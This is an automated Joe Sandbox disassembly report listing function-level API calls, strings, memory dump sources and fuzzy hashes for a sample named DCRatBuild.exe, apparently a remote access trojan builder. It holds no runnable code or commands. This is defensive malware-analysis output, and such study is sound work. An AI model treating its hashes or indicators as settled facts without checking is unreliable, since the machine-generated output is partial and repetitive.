Part of subcall function 008811CF: ResetEvent.KERNEL32(?), ref: 008811E1
Part of subcall function 008811CF: ReleaseSemaphore.KERNEL32(?,00000000,00000000), ref: 008811F5

ReleaseSemaphore.KERNEL32(?,00000040,00000000), ref: 00880F21
CloseHandle.KERNEL32(?,?), ref: 00880F3B
DeleteCriticalSection.KERNEL32(?), ref: 00880F54
CloseHandle.KERNEL32(?), ref: 00880F60
CloseHandle.KERNEL32(?), ref: 00880F6C

Part of subcall function 00880FE4: WaitForSingleObject.KERNEL32(?,000000FF,00881206,?), ref: 00880FEA
Part of subcall function 00880FE4: GetLastError.KERNEL32(?), ref: 00880FF6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: CloseHandle$ReleaseSemaphore$CriticalDeleteErrorEventLastObjectResetSectionSingleWait
String ID:
API String ID: 1868215902-0
Opcode ID: 7d2d552d3acae2ba4d95a7e8630506cb5dc3f9b7bdb4ed25d4b76e340d64af1c
Instruction ID: 9d6a2790aafe123a9fde2999dc7c500a0a74bfeb42948d45e56680625ad5f8cd
Opcode Fuzzy Hash: 7d2d552d3acae2ba4d95a7e8630506cb5dc3f9b7bdb4ed25d4b76e340d64af1c
Instruction Fuzzy Hash: 8B017172100B44EFD732AB68DD89BC6FBA9FB09710F004929F26B925A0CB757A45CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0089C7FF Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0089C817

Part of subcall function 00898DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?), ref: 00898DE2
Part of subcall function 00898DCC: GetLastError.KERNEL32(?,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?,?), ref: 00898DF4

_free.LIBCMT ref: 0089C829
_free.LIBCMT ref: 0089C83B
_free.LIBCMT ref: 0089C84D
_free.LIBCMT ref: 0089C85F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 40d46691be35ea11128a70dc0260335ac597d263309dbca8b99a8f1fa9d75317
Instruction ID: 9dd3b07a4f10d4c2c1b61aed6e237fd0808ca913fcee619ba0e8d77c97cf9eef
Opcode Fuzzy Hash: 40d46691be35ea11128a70dc0260335ac597d263309dbca8b99a8f1fa9d75317
Instruction Fuzzy Hash: F3F01D32504201EBDE20FB68E9C6C1A73E9FA0675576C1C29F148E7952CB71FC80CA65

Uniqueness

Uniqueness Score: -1.00%

Function 00881FDD Relevance: 7.5, APIs: 5, Instructions: 39COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00881FE5
_wcslen.LIBCMT ref: 00881FF6
_wcslen.LIBCMT ref: 00882006
_wcslen.LIBCMT ref: 00882014
CompareStringW.KERNEL32(00000400,00001001,?,?,?,?,00000000,00000000,?,0087B371,?,?,00000000,?,?,?), ref: 0088202F

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _wcslen$CompareString
String ID:
API String ID: 3397213944-0
Opcode ID: 22e7ef9e83dd21774ce66454b3a94566a2fbf509f21daf75b2774cc6bceebcaf
Instruction ID: 204dc68727fef158f77c81d4881c3aad7c3b96a71b826acae879d70fb00b54af
Opcode Fuzzy Hash: 22e7ef9e83dd21774ce66454b3a94566a2fbf509f21daf75b2774cc6bceebcaf
Instruction Fuzzy Hash: BBF06732108018BBCF236F95EC09D8E3F26FB40770B258005FA1A9A461CB7296A1DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00898900 Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0089891E

Part of subcall function 00898DCC: RtlFreeHeap.NTDLL(00000000,00000000,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?), ref: 00898DE2
Part of subcall function 00898DCC: GetLastError.KERNEL32(?,?,0089C896,?,00000000,?,00000000,?,0089C8BD,?,00000007,?,?,0089CCBA,?,?), ref: 00898DF4

_free.LIBCMT ref: 00898930
_free.LIBCMT ref: 00898943
_free.LIBCMT ref: 00898954
_free.LIBCMT ref: 00898965

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 4bc1aaae6ec0b062ec9f49b995cca5722bc35001d38cc3de21a8c3fd76aa989e
Instruction ID: 6ccffb76554120ac35c96bfeab7a4a4662a0cded5191b31a6f7ac1450574a5d7
Opcode Fuzzy Hash: 4bc1aaae6ec0b062ec9f49b995cca5722bc35001d38cc3de21a8c3fd76aa989e
Instruction Fuzzy Hash: B4F0DA71816623DB9A467F58FC12415BFA1FB3A7643090B07F514D72B1CB3189519B82

Uniqueness

Uniqueness Score: -1.00%

Function 008815FE Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 197COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 008817BC
_swprintf.LIBCMT ref: 0088186B

Strings

%ls, xrefs: 00881641, 00881657
%s: %s, xrefs: 008817CB

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _swprintf
String ID: %ls$%s: %s
API String ID: 589789837-2259941744
Opcode ID: 3f399b235e0127334c1fc4611ed5afba6747df48e99b84d37a651f6519da0533
Instruction ID: 854610dd2437f342af44552e4fd701bb81ad5e23631a96b90464ea714e1f8a56
Opcode Fuzzy Hash: 3f399b235e0127334c1fc4611ed5afba6747df48e99b84d37a651f6519da0533
Instruction Fuzzy Hash: A751E871284308F6EE1176948D4FF25725DFB25B08F14491AF3CBE44D5EEB2A812A71B

Uniqueness

Uniqueness Score: -1.00%

Function 00897F6E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\AppData\Local\Temp\DCRatBuild.exe,00000104), ref: 00897FAE
_free.LIBCMT ref: 00898079
_free.LIBCMT ref: 00898083

Strings

C:\Users\user\AppData\Local\Temp\DCRatBuild.exe, xrefs: 00897FA5, 00897FAC, 00897FDB, 00898013

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe
API String ID: 2506810119-119056061
Opcode ID: 2cac499dcdb028d3a2fe4d906801af5f0cad0a7f372ec8044917263751039242
Instruction ID: 342502ad664d50b4cf2aa531740053bb7766a236f64b17c439ecd6abcdce26db
Opcode Fuzzy Hash: 2cac499dcdb028d3a2fe4d906801af5f0cad0a7f372ec8044917263751039242
Instruction Fuzzy Hash: 0F31AD71A04609EFDF21EF999C8199EBBA8FBA6310F18416AF404E7210DA718A44CB61

Uniqueness

Uniqueness Score: -1.00%

Function 008931D6 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 008931FB
_abort.LIBCMT ref: 00893306

Strings

MOC, xrefs: 0089320D
RCC, xrefs: 00893215

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: EncodePointer_abort
String ID: MOC$RCC
API String ID: 948111806-2084237596
Opcode ID: 51ce942bca1d937423d1fb46bf93965655082d089bba0f053e9d23453f992df8
Instruction ID: 026e1898cfc47b0f4dfa0828b38b02f1ef3077b67d10dc60343eb0cf8d22f6f4
Opcode Fuzzy Hash: 51ce942bca1d937423d1fb46bf93965655082d089bba0f053e9d23453f992df8
Instruction Fuzzy Hash: 40414772900209AFCF15EFD8CD81AEEBBB5FF48305F188059F909A7221D335AA50DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00877401 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00877406

Part of subcall function 00873BBA: __EH_prolog.LIBCMT ref: 00873BBF

GetLastError.KERNEL32(?,?,00000800,?,?,?,00000000,00000000), ref: 008774CD

Part of subcall function 00877A9C: GetCurrentProcess.KERNEL32(00000020,?), ref: 00877AAB
Part of subcall function 00877A9C: GetLastError.KERNEL32 ref: 00877AF1
Part of subcall function 00877A9C: CloseHandle.KERNEL32(?), ref: 00877B00

Strings

SeSecurityPrivilege, xrefs: 0087744B
SeRestorePrivilege, xrefs: 00877460

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ErrorH_prologLast$CloseCurrentHandleProcess
String ID: SeRestorePrivilege$SeSecurityPrivilege
API String ID: 3813983858-639343689
Opcode ID: 452bfb29ee1b5f481e65e798e9b14e5fb70b50f2194d0731c2a9118f49a0cbda
Instruction ID: 68d6ae9984fbea2a8787df428fdf95fd7142ab4e120aab1b6214a40b3bd10315
Opcode Fuzzy Hash: 452bfb29ee1b5f481e65e798e9b14e5fb70b50f2194d0731c2a9118f49a0cbda
Instruction Fuzzy Hash: 00318171D04258AAEF11EBA8DC45BEEBBA9FF15314F048015F409E7296DB74CA44CB62

Uniqueness

Uniqueness Score: -1.00%

Function 0088AD10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

EndDialog.USER32(?,00000001), ref: 0088AD98
GetDlgItemTextW.USER32(?,00000066,?,?), ref: 0088ADAD
SetDlgItemTextW.USER32(?,00000066,?), ref: 0088ADC2

Strings

ASKNEXTVOL, xrefs: 0088AD28

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: ASKNEXTVOL
API String ID: 445417207-3402441367
Opcode ID: c430e4e6ca10f98b2fe5c43933f595fa904a87f90d6b409e8a58e2ad3a598351
Instruction ID: 927f45074ee2c0fef1274d7b59db556a452c7e5c0d798b05460e80e6e8a6a51d
Opcode Fuzzy Hash: c430e4e6ca10f98b2fe5c43933f595fa904a87f90d6b409e8a58e2ad3a598351
Instruction Fuzzy Hash: E4118132341600BFEA25AF689D49F6A77A9FF5A742F004112F241EB5E4C762AE059723

Uniqueness

Uniqueness Score: -1.00%

Function 0087D8EC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 0087D954
_strncpy.LIBCMT ref: 0087D99A

Part of subcall function 00881DA7: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000200,00000000,00000000,?,008B1030,00000200,0087D928,00000000,?,00000050,008B1030), ref: 00881DC4

Strings

@%s, xrefs: 0087D93E
$%s, xrefs: 0087D949

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ByteCharMultiWide__fprintf_l_strncpy
String ID: $%s$@%s
API String ID: 562999700-834177443
Opcode ID: 6a0932d98c15a4f91e09b3bbcfdf8891caec96fd2eb51f66bc680c37a952243e
Instruction ID: f2dd9320da8160964bbcaee4b1859e9aa32228b3c116b2470824b31492a62f41
Opcode Fuzzy Hash: 6a0932d98c15a4f91e09b3bbcfdf8891caec96fd2eb51f66bc680c37a952243e
Instruction Fuzzy Hash: E9219F3240034CAAEB20EEA4CC01FDE7BF8FF05304F048011FA14D6196E232D648DB51

Uniqueness

Uniqueness Score: -1.00%

Function 00880E46 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0087AC5A,00000008,?,00000000,?,0087D22D,?,00000000), ref: 00880E85
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0087AC5A,00000008,?,00000000,?,0087D22D,?,00000000), ref: 00880E8F
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0087AC5A,00000008,?,00000000,?,0087D22D,?,00000000), ref: 00880E9F

Strings

Thread pool initialization failed., xrefs: 00880EB7

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: d166f90e2f7687bebef8d3c5e3751c7fa302a17b72c6c2377bae4787bd00e237
Instruction ID: 5b5a8d3502a874ec6e0ef6c87753acc9326b7471b46a37573b7fae9e814f2552
Opcode Fuzzy Hash: d166f90e2f7687bebef8d3c5e3751c7fa302a17b72c6c2377bae4787bd00e237
Instruction Fuzzy Hash: C41191B1600B089FD3316F6A9C849A7FBECFB95744F10482EF1DAC2201D6B1A9448B50

Uniqueness

Uniqueness Score: -1.00%

Function 0088B270 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 00871316: GetDlgItem.USER32(00000000,00003021), ref: 0087135A
Part of subcall function 00871316: SetWindowTextW.USER32(00000000,008A35F4), ref: 00871370

EndDialog.USER32(?,00000001), ref: 0088B2BE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0088B2D6
SetDlgItemTextW.USER32(?,00000067,?), ref: 0088B304

Strings

GETPASSWORD1, xrefs: 0088B289

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 2762fdb4fa3be664b00b5afa46368c419d95c6e11244f631525fd03880b07d3b
Instruction ID: 92a09b029ce1d825fa53ec3203d985ad1092fd98b698cb96d100a3884015bf29
Opcode Fuzzy Hash: 2762fdb4fa3be664b00b5afa46368c419d95c6e11244f631525fd03880b07d3b
Instruction Fuzzy Hash: 8711C432900119B6DB21ABA89C49FFF376CFF99700F004021FA45F3284C7A5DE459762

Uniqueness

Uniqueness Score: -1.00%

Function 0088DCDD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

Strings

REPLACEFILEDLG, xrefs: 0088DD1C, 0088DD50
RENAMEDLG, xrefs: 0088DD31

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 34d9927a551a1488c76e81cff08078581507629bd71f91913fc6161d73559fc4
Instruction ID: 1aff7298ed0bdc0b1e0ee173b3d9d8b49d5632fce128b87de4f1da31432fdb88
Opcode Fuzzy Hash: 34d9927a551a1488c76e81cff08078581507629bd71f91913fc6161d73559fc4
Instruction Fuzzy Hash: 8201DF36604349EFDB20AFA4FC44E9A7BA8F709354B000526F905C32B1C730AC90DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00899A1E Relevance: 6.3, APIs: 4, Instructions: 305COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00899AA9
__alldvrm.LIBCMT ref: 00899CAA
__alldvrm.LIBCMT ref: 00899CCC

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction ID: 62310b910e3795f453732706add14e394ca2cfae8b4d348536a7b4117c0ac8c7
Opcode Fuzzy Hash: 15e7b98f52cb345e5770fd34cbf54b95dbf5428e1727e1497290f0e3bad33655
Instruction Fuzzy Hash: 75A13372A0029A9FEF21AE2CCC917AEBBE5FF65314F1C41ADE4C5DB281D2389941C751

Uniqueness

Uniqueness Score: -1.00%

Function 0087A354 Relevance: 6.1, APIs: 4, Instructions: 127filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000800,?,00877F69,?,?,?), ref: 0087A3FA
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,?,00000800,?,00877F69,?), ref: 0087A43E
SetFileTime.KERNEL32(?,00000800,?,00000000,?,?,00000800,?,00877F69,?,?,?,?,?,?,?), ref: 0087A4BF
CloseHandle.KERNEL32(?,?,?,00000800,?,00877F69,?,?,?,?,?,?,?,?,?,?), ref: 0087A4C6

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671361502.00000000008D3000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_870000_DCRatBuild.jbxd

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 1903264fd1f739326420bb2ed6d3cd8812345da61a4ceb5a01e34769411586b9
Instruction ID: be6c0aa69ff3e926ca5694fce1493a9a7bb2b901cef1f16e815ce01e7658b716
Opcode Fuzzy Hash: 1903264fd1f739326420bb2ed6d3cd8812345da61a4ceb5a01e34769411586b9
Instruction Fuzzy Hash: AA41CF312483819AE735DF24DC49FAEBBE8FBC1304F048919B5D8D3294D6A5DA489B53

Uniqueness

Uniqueness Score: -1.00%

Function 00871100 Relevance: 6.1, APIs: 4, Instructions: 119COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0087112B
_wcslen.LIBCMT ref: 00871153
_wcslen.LIBCMT ref: 00871182
_wcslen.LIBCMT ref: 008711A9

Memory Dump Source

Source File: 00000002.00000002.1671222130.0000000000871000.00000020.00000001.01000000.00000006.sdmp, Offset: 00870000, based on PE: true

Associated: 00000002.00000002.1671204018.0000000000870000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671259629.00000000008A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008AE000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008B5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1671297672.00000000008D2000.00000004.00000001.01000000.00000006.sdmpDownload File
